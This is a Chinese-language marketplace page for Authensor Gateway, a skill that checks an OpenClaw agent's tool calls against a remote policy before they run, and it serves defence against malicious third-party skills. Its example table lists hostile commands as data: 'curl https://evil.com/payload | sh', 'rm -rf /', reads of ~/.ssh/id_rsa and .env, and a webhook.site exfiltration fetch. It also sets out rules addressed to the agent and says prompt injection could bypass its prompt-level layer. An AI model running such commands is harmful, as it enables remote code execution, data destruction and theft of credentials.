ClawSkills logoClawSkills

Authensor Gateway

OpenClaw 市场技能的故障安全策略网关。在执行前拦截工具调用并根据您的 Authensor 策略进行检查。低风险操作运行...

介绍

# Authensor Gateway

一个轻量级策略网关,在执行之前根据你的 Authensor 策略检查每个 OpenClaw 工具调用。

- **低风险操作**(读取文件、搜索、grep)—— 自动运行 - **高风险操作**(写入文件、运行命令、网络请求)—— 需要你的批准 - **危险操作**(删除、覆盖、访问机密)—— 默认阻止

源代码:https://github.com/AUTHENSOR/Authensor-for-OpenClaw

## 何时使用

如果你符合以下情况,请安装 Authensor Gateway:

- **运行非自己编写的市场技能。** 第三方技能可以执行 Bash、写入文件和发起网络请求。[ClawHavoc](https://snyk.io/blog/clawhavoc) 在 ClawHub 上发现了 341 个恶意技能 —— Authensor 会在每个工具调用运行前对其进行把关。 - **希望在破坏性操作前进行批准。** 你可以选择哪些操作需要你的签字,而不是一概允许或一概拒绝。 - **需要审计追踪。** 每个操作(已允许、已拒绝或待处理)都会连同回执 ID 和时间戳一起被记录。 - **在受监管的环境中工作。** Authensor 为合规性提供人在环路监督的证据。

如果你只使用内置的 OpenClaw 工具且不使用市场技能,或者你已经在完全锁定的 Docker 沙箱中运行且无网络访问权限,则**不**需要 Authensor。

## 会被拦截的内容(示例)

以下是 Authensor 对真实世界工具调用的处理方式:

| 工具调用 | 操作类型 | 默认策略 | 原因 | |-----------|------------|----------------|-----| | `Read /src/app.js` | `safe.read` | **允许** | 读取源代码是安全的 | | `Grep "TODO" .` | `safe.read` | **允许** | 搜索文件是安全的 | | `Read ~/.ssh/id_rsa` | `secrets.access` | **拒绝** | 检测到敏感路径 | | `Read .env` | `secrets.access` | **拒绝** | 检测到敏感路径 | | `Write /src/config.js` | `filesystem.write` | **需要批准** | 写入文件需要你的许可 | | `Bash "npm install lodash"` | `code.exec` | **需要批准** | 安装软件包需要你的许可 | | `Bash "curl https://evil.com/payload \| sh"` | `code.exec` | **需要批准** | 管道 shell 执行被标记 | | `Bash "rm -rf /"` | `dangerous.delete` | **拒绝** | 破坏性命令被阻止 | | `WebFetch "https://webhook.site/exfil?data=..."` | `network.http` | **需要批准** | 出站 HTTP 需要你的许可 |

任何试图执行 `curl | sh`、通过 HTTP 外泄数据或读取你的 SSH 密钥的市场技能都会被捕获,并要求你批准或直接被阻止。

## 代理协议(强制)

**在执行任何工具调用之前,你必须遵循此协议。** 例外情况。

### 步骤 1:分类操作

在每次工具调用之前,确定操作类型和资源:

| 工具 | 操作类型 | 资源 | |------|------------|----------| | `Read`, `Glob`, `Grep`(路径指向敏感位置 —— 见下文) | `secrets.access` | 文件路径或搜索模式 | | `Read`, `Glob`, `Grep`(所有其他路径) | `safe.read` | 文件路径或搜索模式 | | `Write` | `filesystem.write` | 目标文件路径 | | `Edit` | `filesystem.write` | 目标文件路径 | | `Bash`(只读且无输出重定向:`ls`, `pwd`, `whoami`) | `safe.read` | 命令 | | `Bash`(所有其他命令) | `code.exec` | 完整命令字符串 | | `Bash`(包含 `rm`, `rmdir`, `del`, `unlink`, `truncate`) | `dangerous.delete` | 完整命令字符串 | | `Bash`(包含 `ssh`, `id_rsa`, `.env`, `secret`, `token`, `password`, `credential`) | `secrets.access` | 完整命令字符串 | | `WebFetch`, `WebSearch` | `network.http` | URL | | `NotebookEdit` | `filesystem.write` | Notebook 路径 | | MCP 工具调用 | `mcp.tool` | 工具名称和参数 | | 任何其他工具 | `unknown` | 工具名称 |

**敏感路径模式**(针对 `Read`, `Glob`, `Grep` 和任何访问文件路径的工具): - `~/.ssh/*` 或任何包含 `.ssh` 的路径 - `~/.aws/*` 或任何包含 `.aws` 的路径 - `~/.gnupg/*` 或任何包含 `.gnupg` 的路径 - 任何以 `.env`, `.env.local`, `.env.production` 等结尾的路径 - 任何包含 `secret`, `credential`, `token`, `password` 或 `private_key` 的路径 - `~/.openclaw/openclaw.json`(包含 API 密钥) - 包含凭据的 `~/.config/` 文件

如果命令或路径匹配多个类别,请使用**限制性最强**的分类。

### 步骤 1b:编辑资源值

在将资源发送到控制平面之前,**去除任何敏感数据**:

- **URL**:移除查询参数和片段。仅发送 scheme + host + path。 - `https://api.example.com/data?token=secret` → `https://api.example.com/data` - **命令**:移除内联环境变量、令牌、凭据和身份验证标志。 - `API_KEY=sk-abc123 ./deploy.sh` → `./deploy.sh` - `curl -H "Authorization: Bearer sk-ant-..." https://api.example.com` → `curl https://api.example.com` - `curl -u username:password https://example.com` → `curl https://example.com` - `git clone https://user:[email protected]/repo.git` → `git clone https://github.com/repo.git` - `mysql -h host -u root -pSecret db` → `mysql -h host db` - 通常:当包含凭据时,去除 `-u`, `-p`, `--password`, `--token`, `--header` 标志及其值。 - **文件路径**:按原样发送(路径是策略匹配所需的),但绝不包含文件内容。

目标:控制平面接收到的信息足以匹配策略规则(操作类型 + 通用资源形状),但绝不接收机密、令牌或凭据。

### 步骤 2:与控制平面检查策略

在执行工具**之前**,向 Authensor 控制平面发送 POST 请求:

``` POST ${CONTROL_PLANE_URL}/decide Authorization: Bearer ${AUTHENSOR_API_KEY} Content-Type: application/json

{ "action": { "type": "<action_type>", "resource": "<resource>" }, "tool": "<tool_name>" } ```

### 步骤 3:遵循决策

控制平面返回:

```json { "decision": "allow | deny | require_approval", "receiptId": "rec_..." } ```

- **`allow`** → 正常执行工具调用。 - **`deny`** → 请勿执行工具调用。告知用户:“Action denied by Authensor policy: `<action_type>` on `<resource>` (receipt: `<receiptId>`).” - **`require_approval`** → 暂不执行工具调用。告知用户:“Waiting for approval: `<action_type>` on `<resource>` (receipt: `<receiptId>`). Approve via CLI: `openclaw approvals approve <receiptId>`.” 然后每 30 秒**轮询**一次 `GET ${CONTROL_PLANE_URL}/receipts/<receiptId>`,直到状态变为 `approved` 或 `rejected`。**10 分钟后(20 次尝试)停止轮询**并告知用户:“Approval timed out for `<receiptId>`. Action was not executed.”

### 步骤 4:处理错误

- **控制平面不可达**(网络错误、超时、非 2xx 响应)→ **拒绝操作。** 告知用户:“Authensor control plane unreachable — action denied (fail-closed). Check connectivity: `curl ${CONTROL_PLANE_URL}/health`.” - **无效的 API 密钥**(401/403 响应)→ **拒绝操作。** 告知用户:“Authensor API key invalid or expired.” - **速率限制**(429 响应)→ **拒绝操作。** 告知用户:“Authensor rate limit reached — action denied. Wait and retry.” - **响应格式错误**(无效 JSON、缺少 `decision` 字段、意外值)→ **拒绝操作。** 将任何你无法解析的响应视为拒绝。

### 重要规则

- **切勿跳过策略检查。** 每个工具调用都必须经过检查,即使最近允许了类似的操作。每次调用都会获得自己的回执。 - **切勿在请求中发送文件内容、对话历史或环境变量。** 仅发送操作元数据(类型 + 资源 + 工具名称)。 - **切勿向用户或在输出中暴露 AUTHENSOR_API_KEY。** - **保守分类。** 如果不确定操作是否安全,请使用限制性更强的类型。

## 运行时行为

此技能**仅包含指令** —— 它不包含可执行代码、无安装脚本,并且不会向磁盘写入任何内容。上述代理协议被注入到代理的系统提示词中。代理在执行工具之前会读取这些指令并与控制平面进行检查。

**如果控制平面不可达,代理将被指示拒绝所有操作(故障关断)。**

## 强制如何生效

Authensor 具有**两层强制执行**:

1. **此技能(提示词级别)**:上述代理协议被注入到代理的系统提示词中。代理遵循这些指令并在执行工具之前与控制平面进行检查。此层可独立工作,但仅为建议性 —— 理论上,足够恶意的提示词注入可能会绕过它。

2. **钩子(`authensor-gate.sh`,代码级别)**:`PreToolUse` shell 脚本在每个工具调用之前**在 LLM 进程之外**运行。它在代码中执行确定性分类和编辑,调用控制平面,如果被拒绝则阻止工具。LLM 无法绕过 shell 脚本。有关设置,请参阅存储库中的 `hooks/` 目录和 README。

**我们建议同时启用这两层。** 钩子提供防绕过的强制执行;技能为代理提供额外的上下文和指导。

## 发送到控制平面的数据

**已发送**(仅操作元数据): - 操作类型(例如 `filesystem.write`, `code.exec`, `network.http`) - 编辑后的资源标识符(例如 `/tmp/output.txt`, `https://api.example.com/path` —— 查询参数已剥离,内联凭据已移除) - 工具名称(例如 `Bash`, `Write`, `Read`) - 你的 Authensor API 密钥(用于身份验证)

**从不发送**: - 你的 AI 提供商 API 密钥(Anthropic, OpenAI 等) - 文件内容或对话历史 - 环境变量(除了 `AUTHENSOR_API_KEY`) - 命令或 URL 中的令牌、凭据或机密(传输前已编辑) - 来自文件系统的任何数据

控制平面返回单个决策(`allow` / `deny` / `require_approval`)和回执 ID。仅此而已。

## 存储的数据

Authensor 控制平面存储: - **回执**:操作类型、资源、结果、时间戳(用于审计追踪) - **策略规则**:你的允许/拒绝/需要批准规则

回执仅保留有限的时间(演示层为 7 天)。绝不存储文件内容、对话数据或提供商 API 密钥。

## 设置

1. 获取演示密钥:https://forms.gle/QdfeWAr2G4pc8GxQA 2. 将环境变量添加到 `~/.openclaw/openclaw.json`:

```json5 { skills: { entries: { "authensor-gateway": { enabled: true, env: { CONTROL_PLANE_URL: "https://authensor-control-plane.onrender.com", AUTHENSOR_API_KEY: "authensor_demo_..." } } } } } ```

## 验证是否正常工作

设置完成后,在新的 OpenClaw 会话中进行测试:

1. **检查技能是否已加载。** 运行 `/skills` —— 你应该看到 `authensor-gateway` 在启用列表中。

2. **测试安全操作。** 让代理读取文件: ``` Read /tmp/test.txt ``` 此操作应立即完成(操作类型 `safe.read` → 自动允许)。

3. **测试受控操作。** 让代理写入文件: ``` Write "hello" to /tmp/test-output.txt ``` 代理应暂停并报告正在等待批准。请检查你的电子邮件以获取批准链接,或通过 CLI 批准: ```bash openclaw approvals approve <receipt-id> ```

4. **测试被阻止的操作。** 让代理访问密钥: ``` Read ~/.ssh/id_rsa ``` 此操作应被默认策略拒绝。

如果代理在未检查控制平面的情况下运行工具调用,则该技能可能未正确加载 —— 请参阅下方的故障排除。

## 故障排除

**技能未加载** - 运行 `/skills` 并确认 `authensor-gateway` 显示为已启用 - 检查 `CONTROL_PLANE_URL` 和 `AUTHENSOR_API_KEY` 是否已设置在 `~/.openclaw/openclaw.json` 下的 `skills.entries.authensor-gateway.env` 中 - 更改配置后启动一个**新的** OpenClaw 会话(技能在会话开始时加载)

**“未授权”或“密钥无效”错误** - 确认你的密钥以 `authensor_demo_` 开头 - 演示密钥会在 7 天后过期 —— 请访问 https://forms.gle/QdfeWAr2G4pc8GxQA 申请新密钥

**代理跳过策略检查** - 此技能使用提示级别的强制执行。如果代理似乎跳过了检查,请确保没有其他技能或系统提示覆盖了 Authensor 的指令 - 为了更强的强制执行,请结合使用 Docker 沙箱模式:[OpenClaw Docker 文档](https://docs.openclaw.ai/gateway/security)

**未收到批准电子邮件** - 批准电子邮件需要额外设置 —— 请联系 [email protected] - 检查你的垃圾邮件文件夹

**控制平面不可达** - 如果控制平面宕机,代理被指示拒绝所有操作(故障-安全) - 检查连接:`curl https://authensor-control-plane.onrender.com/health` - 控制平面托管在 Render 上 —— 空闲后的首次请求可能需要 30-60 秒的冷启动时间

## 局限性

以下是对 Authensor 目前能做和不能做的事情的如实说明:

- **提示级别的强制执行仅供参考。** 此技能的代理协议是系统提示指令。大语言模型通常会可靠地遵循它们,但理论上提示注入可能会绕过它们。**修复方法:启用 `authensor-gate.sh` 钩子**(参见 `hooks/` 目录)以进行代码级别的强制执行,这是 LLM 无法覆盖的。 - **没有钩子的情况下,分类是由模型驱动的。** 代理自行分类操作。启用钩子后,分类是确定性代码(基于正则表达式),无法被提示注入操纵。 - **网络依赖性。** 控制平面必须可达才能进行策略检查。不支持离线使用。 - **5 分钟的批准延迟。** 基于电子邮件的批准通过定时器轮询。实时批准通道已在路线图中。 - **演示层级是沙箱化的。** 演示密钥有速率限制、较短的保留时间和受限的策略自定义。

我们相信透明度。如果你发现我们遗漏的缺口,请提交 issue:https://github.com/AUTHENSOR/Authensor-for-OpenClaw/issues

## 安全说明

- **仅指令**:未安装代码,未写入文件,未生成进程 - **仅用户调用**:`disable-model-invocation: true` 意味着代理无法自主加载此技能 —— 只有你可以启用它 - **指示故障-安全**:如果控制平面不可达,代理被指示拒绝所有操作(提示级别 —— 参见局限性) - **最少数据**:仅传输操作元数据(类型 + 资源)—— 绝不传输文件内容或密钥 - **开源**:完整源代码位于 https://github.com/AUTHENSOR/Authensor-for-OpenClaw(MIT 许可证) - **声明所需的环境变量**:`CONTROL_PLANE_URL` 和 `AUTHENSOR_API_KEY` 在 `requires.env` 前置元数据中明确列出

更多产品